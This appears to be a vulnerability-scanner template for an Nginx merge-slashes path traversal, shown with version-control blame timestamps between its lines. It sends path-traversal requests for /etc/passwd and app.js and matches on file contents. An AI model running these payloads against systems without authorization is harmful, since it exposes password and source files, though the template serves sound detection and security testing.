2021-07-21 08:16:40 +00:00
|
|
|
id: nginx-merge-slashes-path-traversal
|
|
|
|
|
|
|
|
info:
|
2022-07-27 20:17:31 +00:00
|
|
|
name: Nginx Server - Local File Inclusion
|
2021-07-21 08:16:40 +00:00
|
|
|
author: dhiyaneshDk
|
2022-08-29 20:21:30 +00:00
|
|
|
severity: high
|
2022-07-27 20:17:31 +00:00
|
|
|
description: Nginx server is vulnerable to local file inclusion.
|
2021-08-18 11:37:49 +00:00
|
|
|
reference:
|
2021-08-19 14:44:46 +00:00
|
|
|
- https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/nginx-merge-slashes-path-traversal.json
|
|
|
|
- https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d
|
2022-07-27 20:17:31 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
|
|
cvss-score: 7.5
|
|
|
|
cwe-id: CWE-22
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 3
|
2023-10-14 11:27:55 +00:00
|
|
|
tags: exposure,config,lfi,nginx
|
2021-07-21 08:16:40 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-07-21 08:16:40 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
2021-07-23 21:55:22 +00:00
|
|
|
- "{{BaseURL}}///////../../../etc/passwd"
|
|
|
|
- "{{BaseURL}}/static///////../../../../etc/passwd"
|
2021-07-21 08:16:40 +00:00
|
|
|
- "{{BaseURL}}///../app.js"
|
2021-07-23 18:55:13 +00:00
|
|
|
|
2021-09-02 11:59:10 +00:00
|
|
|
stop-at-first-match: true
|
2023-10-14 11:27:55 +00:00
|
|
|
|
2021-07-21 08:16:40 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
2021-07-23 21:55:22 +00:00
|
|
|
- type: regex
|
|
|
|
regex:
|
2021-07-24 21:35:55 +00:00
|
|
|
- "root:.*:0:0:"
|
2021-07-21 08:16:40 +00:00
|
|
|
- "app.listen"
|
|
|
|
part: body
|
2021-07-23 18:54:37 +00:00
|
|
|
condition: or
|
|
|
|
|
2021-07-21 08:16:40 +00:00
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|